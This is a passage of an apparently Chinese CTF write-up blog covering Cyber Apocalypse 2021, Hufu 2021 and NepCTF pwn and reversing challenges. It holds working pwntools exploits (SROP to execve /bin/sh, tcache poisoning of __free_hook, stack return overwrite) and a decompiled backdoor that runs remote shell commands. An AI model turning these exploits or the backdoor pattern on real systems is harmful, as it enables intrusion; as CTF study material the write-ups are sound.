</span>from </span>pwn </span>import </span>*
</span>from </span>LibcSearcher </span>import </span>*
</span>from </span>IdaManage </span>import </span>*
</span>from </span>pwnlib.rop </span>import </span>*
</span>from </span>pwnlib.context </span>import </span>*
</span>from </span>pwnlib.fmtstr </span>import </span>*
</span>from </span>pwnlib.util.packing </span>import </span>*
</span>
</span>context.log_level</span>=</span>'debug'
</span>REMOTE </span>= </span>True
</span>
</span>def </span>main</span>(</span>p</span>: Union[remote, process], </span>elf</span>: </span>ELF</span>):
</span>    read_</span>=</span>0x400553
</span>    syscall</span>=</span>0x40053B
</span>    write_addr</span>=</span>0x601028
</span>    sigframe </span>= </span>SigreturnFrame()
</span>    sigframe.rax </span>= </span>constants.SYS_execve
</span>    sigframe.rdi </span>= </span>write_addr
</span>    sigframe.rsi </span>= </span>0x0
</span>    sigframe.rdx </span>= </span>0x0
</span>    sigframe.rsp </span>= </span>write_addr</span>+</span>0x30
</span>    sigframe.rip </span>= </span>syscall
</span>    ida.attachAndContinue()
</span>    p.send(flat({</span>32</span>:[
</span>        write_addr</span>+</span>0x20</span>,
</span>        read_,
</span>        write_addr</span>+</span>0x20</span>,
</span>    ]}))
</span>    sleep(</span>1</span>)
</span>    p.send(flat({</span>32</span>:[
</span>        write_addr</span>+</span>0x20</span>,
</span>        elf.plt[</span>'read'</span>],
</span>        syscall,
</span>        </span>bytes</span>(sigframe)
</span>    ]})[:</span>0x100</span>])
</span>    </span>input</span>()
</span>    p.send(</span>b</span>'/bin/sh'</span>.ljust(</span>15</span>,</span>b</span>'</span>\0</span>'</span>))
</span>
</span>if </span>__name__ </span>== </span>"__main__"</span>:
</span>    elf_path</span>=</span>'./system_drop'
</span>    context.binary </span>= </span>elf_path
</span>    elf</span>=</span>ELF(elf_path)
</span>    </span>if </span>REMOTE</span>:
</span>        p</span>=</span>remote(</span>'178.62.77.109'</span>,</span>32598</span>)
</span>    </span>else</span>:
</span>        p</span>=</span>process(elf_path)
</span>    main(p,elf)
</span>    p.interactive()
</span># CHTB{n0_0utput_n0_pr0bl3m_w1th_sr0p}
</span></code></pre>
Save the environment</h2>
recycle</code>函数可以泄露printf</code>函数地址和任意地址读，plant</code>函数可以任意地址写。程序内还有一个后门函数。</p>
思路：泄露出来的libc地址->任意读environ</code>得到栈地址->任意写将栈上的返回地址写成后门函数地址。</p>
from </span>typing </span>import </span>Union
</span>from </span>pwn </span>import </span>*
</span>from </span>LibcSearcher </span>import </span>*
</span>from </span>IdaManage </span>import </span>*
</span>from </span>pwnlib.rop </span>import </span>*
</span>from </span>pwnlib.context </span>import </span>*
</span>from </span>pwnlib.fmtstr </span>import </span>*
</span>from </span>pwnlib.util.packing </span>import </span>*
</span>
</span>context.log_level</span>=</span>'debug'
</span>REMOTE </span>= </span>False
</span>
</span>def </span>main</span>(</span>p</span>: Union[remote, process], </span>elf</span>: </span>ELF</span>):
</span>    </span>def </span>s</span>(</span>i</span>):
</span>        </span>if </span>isinstance</span>(i,</span>int</span>):
</span>            p.sendlineafter(</span>'> '</span>,</span>str</span>(i))
</span>        </span>else</span>:
</span>            p.sendlineafter(</span>'> '</span>,i)
</span>    </span>def </span>recycle</span>():
</span>        s(</span>2</span>)
</span>        s(</span>1</span>)
</span>        s(</span>'n'</span>)
</span>    </span>def </span>plant</span>(</span>addr</span>,</span>value</span>):
</span>        s(</span>1</span>)
</span>        s(addr)
</span>        s(value)
</span>
</span>    </span>for </span>_ </span>in </span>range</span>(</span>5</span>):
</span>        recycle()
</span>    p.recvuntil(</span>'0x'</span>)
</span>    libc</span>=</span>LibcSearcher().condition(</span>'printf'</span>,</span>int</span>(p.recvuntil(</span>']'</span>,</span>True</span>),</span>16</span>)).elf()
</span>    </span>for </span>_ </span>in </span>range</span>(</span>5</span>):
</span>        recycle()
</span>    s(libc.sym[</span>'environ'</span>])
</span>    p.recvuntil(</span>'[0m'</span>)
</span>    stack_addr</span>=</span>u64(p.recvline(</span>False</span>).ljust(</span>8</span>,</span>b</span>'</span>\0</span>'</span>))</span>-</span>0x120
</span>    plant(stack_addr,elf.sym[</span>'hidden_resources'</span>])
</span>
</span>if </span>__name__ </span>== </span>"__main__"</span>:
</span>    elf_path</span>=</span>'./environment'
</span>    context.binary </span>= </span>elf_path
</span>    elf</span>=</span>ELF(elf_path)
</span>    </span>if </span>REMOTE</span>:
</span>        p</span>=</span>remote(</span>'178.62.77.109'</span>,</span>32598</span>)
</span>    </span>else</span>:
</span>        p</span>=</span>process(elf_path)
</span>    main(p,elf)
</span>    p.interactive()
</span># CHTB{u_s4v3d_th3_3nv1r0n_v4r14bl3!}
</span></code></pre>
Re</h1>
Authenticator</h2>
就一个异或加密，关键部分源码：</p>
__int64</span> __fastcall </span>checkpin</span>(</span>const </span>char </span>*</span>a1</span>)
</span>{
</span>  </span>int</span> i; </span>// [rsp+14h] [rbp-1Ch]
</span>
</span>  </span>for </span>( i </span>= </span>0</span>; i </span>< </span>strlen</span>(a1) </span>- </span>1</span>; </span>++</span>i )
</span>  {
</span>    </span>if </span>( ((</span>unsigned __int8</span>)aAVhAG8j89gvPDv[i] </span>^ </span>9</span>) </span>!=</span> a1[i] )
</span>      </span>return </span>1</span>LL</span>;
</span>  }
</span>  </span>return </span>0</span>LL</span>;
</span>}
</span></code></pre>
print</span>(</span>""</span>.join([</span>chr</span>(i</span>^</span>9</span>) </span>for </span>i </span>in </span>b</span>'}a:Vh|}a:g}8j=}89gV<p<}:dV8<Vg9}V<9V<:j|{:'</span>]))
</span># CHTB{th3_auth3nt1c4t10n_5y5t3m_15_n0t_50_53cur3}
</span></code></pre>
passphrase</h2>
IDA7.5直接生成了qmemcpy</code>这个函数，就两次拼接，非常容易看出来。伪c代码:</p>
int</span> __cdecl </span>main</span>(</span>int </span>argc</span>, </span>const </span>char </span>**</span>argv</span>, </span>const </span>char </span>**</span>envp</span>)
</span>{
</span>  </span>char</span> s1[</span>23</span>]; </span>// [rsp+0h] [rbp-50h] BYREF
</span>  </span>char</span> v5[</span>8</span>]; </span>// [rsp+17h] [rbp-39h] BYREF
</span>  </span>char</span> s[</span>40</span>]; </span>// [rsp+20h] [rbp-30h] BYREF
</span>  </span>unsigned __int64</span> v7; </span>// [rsp+48h] [rbp-8h]
</span>
</span>  v7 </span>= </span>__readfsqword(</span>0x28</span>u</span>);
</span>  </span>setbuf</span>(_bss_start, </span>0</span>LL</span>);
</span>  qmemcpy(s1, </span>"3xtr4t3rR3stR14L5_VS_hu"</span>, </span>sizeof</span>(s1));
</span>  printstr(</span>"</span>\n</span>Halt! ⛔"</span>);
</span>  printstr(</span>"</span>\n</span>You do not look familiar.."</span>);
</span>  printstr(</span>"</span>\n</span>Tell me the secret passphrase: "</span>);
</span>  </span>fgets</span>(s, </span>40</span>, stdin);
</span>  s[</span>strlen</span>(s) </span>- </span>1</span>] </span>= </span>0</span>;
</span>  </span>strcpy</span>(v5, </span>"m4n5"</span>);
</span>  </span>if </span>( </span>!</span>strcmp</span>(s1, s) )
</span>  {
</span>    </span>puts</span>(</span>&</span>:</span>:</span>s);
</span>    </span>printf</span>(</span>"</span>\x1B</span>[32m"</span>);
</span>    </span>printf</span>(</span>"</span>\n</span>Sorry for suspecting you, please transfer this important message to the chief: CHTB{</span>%s</span>}</span>\n\n</span>"</span>, s);
</span>  }
</span>  </span>else
</span>  {
</span>    </span>printf</span>(</span>"</span>\x1B</span>[31m"</span>);
</span>    printstr(</span>&</span>unk_C17);
</span>  }
</span>  </span>return </span>0</span>;
</span>}
</span></code></pre>
flag为</p>
CHTB{3xtr4t3rR3stR14L5_VS_hum4n5}
</span></code></pre>
Backdoor</h2>
这题是PyInstaller逆向详细步骤可以参考这篇博客</a>。注意一定要全部在linux环境内运行。按照博客里的步骤可以得到一个python文件，内容如下</p>
# uncompyle6 version 3.7.4
</span># Python bytecode 3.8 (3413)
</span># Decompiled from: Python 3.8.6 (default, Jan 27 2021, 15:42:20) 
</span># [GCC 10.2.0]
</span># Embedded file name: bd.py
</span># Compiled at: 2021-04-19 14:55:54
</span># Size of source mod 2**32: 4035 bytes
</span>import </span>socket
</span>from </span>hashlib </span>import </span>md5
</span>from </span>subprocess </span>import </span>check_output
</span>sock </span>= </span>socket.socket()
</span>sock.setsockopt(socket.</span>SOL_SOCKET</span>, socket.</span>SO_REUSEADDR</span>, </span>1</span>)
</span>sock.bind((</span>'0.0.0.0'</span>, </span>4433</span>))
</span>sock.listen(</span>5</span>)
</span>while </span>True</span>:
</span>    client, addr </span>= </span>sock.accept()
</span>    data </span>= </span>client.recv(</span>32</span>)
</span>    </span>if </span>len</span>(data) </span>!= </span>32</span>:
</span>        client.close()
</span>    </span>elif </span>data.decode() </span>!= </span>md5(</span>b</span>'s4v3_th3_w0rld'</span>).hexdigest():
</span>        client.send(</span>b</span>'Invalid'</span>)
</span>        client.close()
</span>    </span>else</span>:
</span>        size </span>= </span>client.recv(</span>1</span>)
</span>        command </span>= </span>client.recv(</span>int</span>.from_bytes(size, </span>'little'</span>))
</span>        </span>if not </span>command.startswith(</span>b</span>'command:'</span>):
</span>            client.close()
</span>        </span>else</span>:
</span>            command </span>= </span>command.replace(</span>b</span>'command:'</span>, </span>b</span>''</span>)
</span>            output </span>= </span>check_output(command, </span>shell</span>=</span>True</span>)
</span>            client.send(output)
</span>            client.close()
</span># okay decompiling bd.pyc
</span></code></pre>
exp如下</p>
from </span>pwnlib.tubes.remote </span>import </span>*
</span>from </span>hashlib </span>import </span>md5
</span>
</span>p</span>=</span>remote(</span>'138.68.132.86'</span>,</span>31269</span>)
</span>p.send(md5(</span>b</span>'s4v3_th3_w0rld'</span>).hexdigest())
</span>def </span>sendCommand</span>(</span>c</span>):
</span>    p.send(</span>bytes</span>([</span>len</span>(c)]))
</span>    p.send(c)
</span>sendCommand(</span>'command:cat flag.txt'</span>)
</span>p.interactive()
</span># CHTB{b4ckd00r5_4r3_d4nG3r0u5}
</span></code></pre>
Alienware</h2>
这是一道病毒分析。动调进入encryptFiles</code>函数可以分析得出该病毒会对%USERPROFILE%\Docs</code>内的文件进行加密，我们随意创建一个文件，让它加密。</p>
进入加密函数中，可以发现是通过调用Wincrypt.h</code>的接口进行加密，可以直接抄一遍，把加密函数改成解密函数即可。</p>

</span>#include </span>"windows.h"
</span>#include </span>"Wincrypt.h"
</span>#include </span>"stdio.h"
</span>
</span>unsigned char</span> key[] </span>=
</span>{
</span>  </span>0x2F</span>, </span>0x00</span>, </span>0x6B</span>, </span>0x00</span>, </span>0x18</span>, </span>0x00</span>, </span>0xE4</span>, </span>0x00</span>, </span>0x9A</span>, </span>0x00</span>,
</span>  </span>0x33</span>, </span>0x00</span>, </span>0xD9</span>, </span>0x00</span>, </span>0xC7</span>, </span>0x00
</span>};
</span>
</span>int </span>main</span>() {
</span>	HCRYPTPROV cryptrov;
</span>	CryptAcquireContextW(</span>&</span>cryptrov, </span>NULL</span>, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, </span>0xF0000000</span>);
</span>	HCRYPTHASH sha256;
</span>	CryptCreateHash(cryptrov, CALG_SHA_256, </span>NULL</span>, </span>NULL</span>, </span>&</span>sha256);
</span>	CryptHashData(sha256, key, </span>0x10</span>, </span>0</span>);
</span>	HCRYPTKEY hkey;
</span>	CryptDeriveKey(cryptrov, CALG_AES_128, sha256, </span>0</span>, </span>&</span>hkey);
</span>
</span>	FILE</span>*</span> fp_in , </span>*</span>fp_out;
</span>	fopen_s(</span>&</span>fp_out,</span>"D:</span>\\</span>Downloads</span>\\</span>Confidential.pdf"</span>,</span>"wb+"</span>);
</span>	fopen_s(</span>&</span>fp_in,</span>"D:</span>\\</span>Downloads</span>\\</span>Confidential.pdf.alien"</span>, </span>"rb"</span>);
</span>
</span>	</span>DWORD</span> l </span>= </span>0x30</span>;
</span>	byte buffer[</span>0x30</span>];
</span>	</span>while</span>(</span>TRUE</span>){
</span>		</span>int</span> a</span>=</span>fread</span>(buffer, </span>1</span>, l, fp_in);
</span>		</span>if</span>(</span>!</span>a)</span>break</span>;
</span>		CryptDecrypt(hkey, </span>NULL</span>, </span>0</span>, </span>NULL</span>, buffer, </span>&</span>l);
</span>		</span>fwrite</span>(buffer,</span>1</span>,l,fp_out);
</span>	}
</span>	</span>fclose</span>(fp_in);
</span>	</span>fclose</span>(fp_out);
</span>}
</span>//CHTB{3nh4nc3d_al1en_m@lwar3!}
</span></code></pre>


2021虎符-PWN-apollo题解
2021-04-04T00:00:00+00:00
这次比赛又爆零了，本来这道题是能够做出来的，就是因为大量时间花在的逆向分析上。一开始拿IDA反汇编，生成的伪代码程序逻辑都读不懂，然后开始直接看汇编了。后来试了一下ghidra</code>效果好很多，能分析完这道题vm，就已经来不及了。平时应该多练练非x86</code>或i386</code>架构的题。</p>
ghidra</code>和IDA</code>生成的伪代码的对比图(IDA里的那行BR X0</code>完全不知道跳哪去)：</p>
</p>
题目分析</h1>
main</code>函数执行一些初始化操作后就读入了长度为0x1000</code>的虚拟机的字节码，然后开始运行，即上图的jump</code>函数。将输入的字符通过op_table</code>查找对应的jump_table</code>的编号进行跳转。op_table</code>如图：</p>
jump_table</code>12个函数：</p>
startrun</h2>
开始运行，有长宽两个参数，会先后通过calloc</code>创建flag_table</code>和time_table</code>。</p>
add/free/print comment</h2>
我的理解是给一个格子添加或删除上一个注释？</p>

addcomment</code>有三个参数，分别是格子的坐标和要开辟空间的大小。然后内容是之后通过read</code>函数读入的。flag_table</code>的对应位置是改为1，并把malloc</code>出来的空间存到comment_ptr_array</code>里。</li>
freecomment</code>两个参数为坐标。会free</code>对应的空间，同时指针清理，没有UAF。</li>
printcomment</code>会把当前存在的所有comment通过puts</code>函数输出。</li>
</ul>
</p>
set/clear flag</h2>

setflag</code>会把flag_table</code>对应位置的flag</code>设置为2~4的指定值</li>
clearflag</code>会把对应位置设为0</li>
</ul>
</p>
up/down/left/right</h2>
拿up</code>函数举例，其它方向同理。先看当前位置是否在顶部，然后判断上方格子的flag</code>是否为0或2或3，若为0则向上移一格，为2或3则向上移两格。但是此处移两个可能会导致越界。</p>
同时移动后会在time_table</code>上记录下当前的步骤数。可以配合越界，到达在其它区块上写入的效果。</p>
nop/finish</h2>

finish</code>输出finish并退出</li>
nop</code>跳过该机器码</li>
</ul>
利用思路</h1>
题目给的是2.27-3ubuntu1</code>的glibc。思路如下:</p>

先开一个较大的空间将其放入bins中，再开0x10</code>的大小通过利用read</code>函数不会在结尾加上\0的特性泄露出libc的偏移</li>
再开一个0x60</code>的空间，再通过移动的越界将0x10</code>的区块的size</code>改成0x91</code>即将上面的0x60</code>区块完全覆盖</li>
释放0x60</code>的区块，进入tcache</code></li>
释放并重新申请刚才改过大小的区块，通过溢出将0x60</code>的区块的next</code>指针改成__free_hook</code>的地址</li>
重新开两个0x60</code>的空间，第二个就会在__free_hook</code>，写入system</code>函数的地址</li>
释放一个内容为/bin/sh</code>的区块</li>
</ol>
Exploit</h2>
from </span>typing </span>import </span>Union
</span>from </span>pwn </span>import </span>*
</span>from </span>LibcSearcher </span>import </span>*
</span>from </span>IdaManage </span>import </span>*
</span>from </span>pwnlib.rop </span>import </span>*
</span>from </span>pwnlib.context </span>import </span>*
</span>from </span>pwnlib.fmtstr </span>import </span>*
</span>from </span>pwnlib.util.packing </span>import </span>*
</span>
</span>context.log_level</span>=</span>'debug'
</span>context.binary</span>=</span>'./apollo'
</span>DEBUG</span>=</span>1
</span>IDA</span>=</span>0
</span>
</span>choice_array</span>=</span>[
</span>    </span>10</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>1</span>, </span>3</span>, </span>11</span>, </span>4</span>, </span>11</span>, </span>2</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>0</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>7</span>, </span>11</span>,
</span>    </span>11</span>, </span>8</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>9</span>,
</span>    </span>11</span>, </span>11</span>, </span>6</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>5</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>,
</span>    </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>, </span>11</span>]
</span>
</span>if </span>DEBUG</span>:
</span>    </span>if </span>IDA</span>:
</span>        p</span>=</span>process([</span>'qemu-aarch64'</span>,</span>'-L'</span>,</span>'./'</span>,</span>'-g'</span>,</span>'23948'</span>,</span>'apollo'</span>])
</span>    </span>else</span>:
</span>        p</span>=</span>process([</span>'qemu-aarch64'</span>,</span>'-L'</span>,</span>'./'</span>,</span>'apollo'</span>])
</span>else</span>:
</span>    p</span>=</span>remote(</span>'8.140.179.11'</span>,</span>13422</span>)
</span>elf</span>=</span>ELF(</span>'apollo'</span>)
</span>libc</span>=</span>ELF(</span>'./lib/libc.so.6'</span>)
</span>
</span>ida</span>=</span>IDAManage(</span>'192.168.138.1'</span>,</span>9945</span>,</span>isWork</span>=</span>IDA</span>)
</span>ida.attachAndContinue()
</span>
</span>def </span>sendAndWait</span>(</span>c</span>):
</span>    </span>def </span>s</span>(</span>p</span>):
</span>        </span>if </span>IDA</span>:
</span>            </span>input</span>()
</span>        </span>else</span>:
</span>            sleep(</span>0.2</span>)
</span>        p.send(c)
</span>    </span>return </span>s
</span>
</span>class </span>VM</span>:
</span>    todo</span>=</span>[]
</span>    ops</span>=</span>[]
</span>    </span>def </span>start</span>(</span>self</span>,</span>h</span>,</span>w</span>):
</span>        </span>assert </span>w</span>></span>3 </span>and </span>w</span><</span>0x11
</span>        </span>assert </span>h</span>></span>3 </span>and </span>h</span><</span>0x11
</span>        </span>self</span>.ops.append(choice_array.index(</span>0</span>))
</span>        </span>self</span>.ops.append(h)
</span>        </span>self</span>.ops.append(w)
</span>        </span>return </span>self
</span>    </span>def </span>addcomment</span>(</span>self</span>,</span>y</span>,</span>x</span>,</span>size</span>,</span>content</span>):
</span>        </span>assert </span>size</span><</span>0x601
</span>        </span>self</span>.ops.append(choice_array.index(</span>1</span>))
</span>        </span>self</span>.ops.append(y)
</span>        </span>self</span>.ops.append(x)
</span>        </span>self</span>.ops.append(size</span>&</span>0xff</span>)
</span>        </span>self</span>.ops.append(size</span>>></span>8</span>)
</span>        </span>if </span>isinstance</span>(content,(</span>str</span>,</span>bytes</span>)):
</span>            </span>self</span>.todo.append(sendAndWait(content))
</span>        </span>else</span>:
</span>            </span>self</span>.todo.append(content)
</span>    </span>def </span>freecomment</span>(</span>self</span>,</span>y</span>,</span>x</span>):
</span>        </span>self</span>.ops.append(choice_array.index(</span>2</span>))
</span>        </span>self</span>.ops.append(y)
</span>        </span>self</span>.ops.append(x)
</span>    </span>def </span>setflag</span>(</span>self</span>,</span>y</span>,</span>x</span>,</span>flag</span>):
</span>        </span>assert </span>flag</span>></span>1 </span>and </span>flag</span><</span>5
</span>        </span>self</span>.ops.append(choice_array.index(</span>3</span>))
</span>        </span>self</span>.ops.append(y)
</span>        </span>self</span>.ops.append(x)
</span>        </span>self</span>.ops.append(flag)
</span>    </span>def </span>clearflag</span>(</span>self</span>,</span>y</span>,</span>x</span>):
</span>        </span>self</span>.ops.append(choice_array.index(</span>4</span>))
</span>        </span>self</span>.ops.append(y)
</span>        </span>self</span>.ops.append(x)
</span>    </span>def </span>up</span>(</span>self</span>):
</span>        </span>self</span>.ops.append(choice_array.index(</span>5</span>))
</span>    </span>def </span>down</span>(</span>self</span>):
</span>        </span>self</span>.ops.append(choice_array.index(</span>6</span>))
</span>    </span>def </span>left</span>(</span>self</span>):
</span>        </span>self</span>.ops.append(choice_array.index(</span>7</span>))
</span>    </span>def </span>right</span>(</span>self</span>):
</span>        </span>self</span>.ops.append(choice_array.index(</span>8</span>))
</span>    </span>def </span>print_comment</span>(</span>self</span>,</span>fun</span>=</span>None</span>):
</span>        </span>self</span>.ops.append(choice_array.index(</span>9</span>))
</span>        </span>if </span>fun</span>!=</span>None</span>:
</span>            </span>self</span>.todo.append(fun)
</span>    </span>def </span>finish</span>(</span>self</span>):
</span>        </span>self</span>.ops.append(choice_array.index(</span>10</span>))
</span>    </span>def </span>nop</span>(</span>self</span>):
</span>        </span>self</span>.ops.append(choice_array.index(</span>11</span>))
</span>    </span>def </span>build</span>(</span>self</span>):
</span>        </span>return </span>bytes</span>(</span>self</span>.ops)
</span>    </span>def </span>send</span>(</span>self</span>,</span>p</span>):
</span>        p.sendafter(</span>'> '</span>,</span>self</span>.build())
</span>        </span>for </span>i </span>in </span>self</span>.todo:
</span>            i(p)
</span>
</span>vm</span>=</span>VM()
</span>vm.start(</span>5</span>,</span>0x10</span>)
</span>for </span>_ </span>in </span>range</span>(</span>8</span>):
</span>    vm.right()
</span>vm.down()
</span>vm.down()
</span>vm.down()
</span>
</span>vm.addcomment(</span>1</span>,</span>0</span>,</span>0x4f0</span>,</span>'richar'</span>)
</span>vm.addcomment(</span>1</span>,</span>3</span>,</span>0x10</span>,</span>b</span>'/bin/sh</span>\0</span>'</span>)
</span>vm.freecomment(</span>1</span>,</span>0</span>)
</span>
</span>vm.addcomment(</span>1</span>,</span>0</span>,</span>0x10</span>,</span>'a'</span>*</span>9</span>)
</span>def </span>getLibcBase</span>(</span>p</span>):
</span>    p.recvuntil(</span>'a'</span>*</span>9</span>)
</span>    addr</span>=</span>u64((</span>b</span>'</span>\0</span>'</span>+</span>p.recvuntil(</span>'</span>\n</span>pos'</span>,</span>True</span>)).ljust(</span>8</span>,</span>b</span>'</span>\0</span>'</span>))</span>-</span>0x154f00
</span>    libc.address</span>=</span>addr
</span>    log.info(</span>'LIBC: '</span>+</span>hex</span>(addr))
</span>vm.print_comment(getLibcBase)
</span>
</span>for </span>_ </span>in </span>range</span>((</span>0x90</span>-</span>10</span>)</span>//</span>2</span>):
</span>    vm.up()
</span>    vm.down()
</span>vm.setflag(</span>4</span>,</span>0x8</span>,</span>3</span>)
</span>vm.down()
</span>
</span>vm.addcomment(</span>1</span>,</span>2</span>,</span>0x60</span>,</span>'richar'</span>)
</span>vm.freecomment(</span>1</span>,</span>2</span>)
</span>vm.freecomment(</span>1</span>,</span>0</span>)
</span>vm.addcomment(</span>1</span>,</span>0</span>,</span>0x80</span>,</span>lambda </span>p</span>: sendAndWait(flat(</span>0</span>,</span>0</span>,</span>0</span>,</span>0x71</span>,libc.sym[</span>'__free_hook'</span>]))(p))
</span>vm.addcomment(</span>1</span>,</span>2</span>,</span>0x60</span>,</span>'richar'</span>)
</span>vm.addcomment(</span>2</span>,</span>2</span>,</span>0x60</span>,</span>lambda </span>p</span>: sendAndWait(flat(libc.sym[</span>'system'</span>]))(p))
</span>vm.freecomment(</span>1</span>,</span>3</span>)
</span>vm.send(p)
</span>
</span>p.interactive()
</span></code></pre>


NepCTF WriteUp
2021-03-22T00:00:00+00:00

题解中pwn用到的库为IdaManage</a>和LibcSearcher</a>.</p>
IdaManage用于IDA调试
LibcSearcher用于快速搜索libc。</p>
</blockquote>
[pwn] 送你一朵小红花</h1>
题中随机将off_4020</code>中函数表中的函数存至buf[2]</code>中，然后调用。可以找到程序sub_14E1</code>函数内为后门函数，调用了system("/bin/cat /flag")</code>，但它不在off_4020</code>中的函数表内，因此可以通过覆盖bud[2]</code>低字节为0xe1</code>就有一定概率进入这个函数，多尝试几次即可。</p>
</p>
from </span>typing </span>import </span>Union
</span>from </span>pwn </span>import </span>*
</span>from </span>LibcSearcher </span>import </span>*
</span>from </span>IdaManage </span>import </span>*
</span>from </span>pwnlib.rop </span>import </span>*
</span>from </span>pwnlib.util.packing </span>import </span>flat
</span>from </span>pwnlib.context </span>import </span>*
</span>
</span># context.log_level='debug'
</span>REMOTE </span>= </span>1
</span>
</span>@connect(
</span>    </span>remoteAddr</span>=</span>'node2.hackingfor.fun:32620'</span>,
</span>    </span>elf</span>=</span>'./xhh'</span>,
</span>    </span>isRemote</span>=</span>REMOTE</span>,
</span>    </span>idaAddr</span>=</span>'192.168.138.1:9945'</span>,
</span>)
</span>def </span>main</span>(</span>p</span>: Union[remote, process], </span>ida</span>: IDAManage, </span>elf</span>: </span>ELF</span>):
</span>    p.send(flat({</span>0x10</span>:</span>b</span>'</span>\xE1</span>'</span>}))
</span>
</span>if </span>__name__ </span>== </span>"__main__"</span>:
</span>    main()
</span>
</span># Nep{d1e7ff52-7a0c-4255-8ce4-6e2293138fe9}
</span></code></pre>
[pwn] easystack</h1>
该题为静态链接的程序，逆向分析过后，程序会先读入flag</code>到bss</code>段，然后有一个溢出点。由于程序开启了canary</code>保护，无法直接向ROP，但是可以通过覆盖程序的启动参数的指针，将其指向flag</code>的地址，利用stack_chk_fail</code>得到flag。</p>
</p>
from </span>typing </span>import </span>Union
</span>from </span>pwn </span>import </span>*
</span>from </span>LibcSearcher </span>import </span>*
</span>from </span>IdaManage </span>import </span>*
</span>from </span>pwnlib.rop </span>import </span>*
</span>from </span>pwnlib.util.packing </span>import </span>flat
</span>from </span>pwnlib.context </span>import </span>*
</span>
</span>context.log_level</span>=</span>'debug'
</span>REMOTE </span>= </span>False
</span>
</span>@connect(
</span>    </span>remoteAddr</span>=</span>'node3.buuoj.cn:25884'</span>,
</span>    </span>elf</span>=</span>'./easystack'</span>,
</span>    </span>isRemote</span>=</span>REMOTE</span>,
</span>    </span># idaAddr='192.168.138.1:9945',
</span>)
</span>def </span>main</span>(</span>p</span>: Union[remote, process], </span>ida</span>: IDAManage, </span>elf</span>: </span>ELF</span>):
</span>    ida.attachAndContinue()
</span>    p.sendlineafter(</span>'!!</span>\n</span>'</span>, flat({</span>456</span>:[</span>0x6CDE20</span>]}))
</span>
</span>if </span>__name__ </span>== </span>"__main__"</span>:
</span>    main()
</span>
</span>
</span></code></pre>
[pwn] scmt</h1>
程序随机生成一个数，然后判断输入的数和生成的数是否相同，相同就给shell。输入name</code>后有格式化字符串漏洞，可以就直接将生成的数泄露出来。</p>
</p>
from </span>typing </span>import </span>Union
</span>from </span>pwn </span>import </span>*
</span>from </span>LibcSearcher </span>import </span>*
</span>from </span>IdaManage </span>import </span>*
</span>from </span>pwnlib.rop </span>import </span>*
</span>from </span>pwnlib.util.packing </span>import </span>flat
</span>from </span>pwnlib.context </span>import </span>*
</span>
</span>context.log_level</span>=</span>'debug'
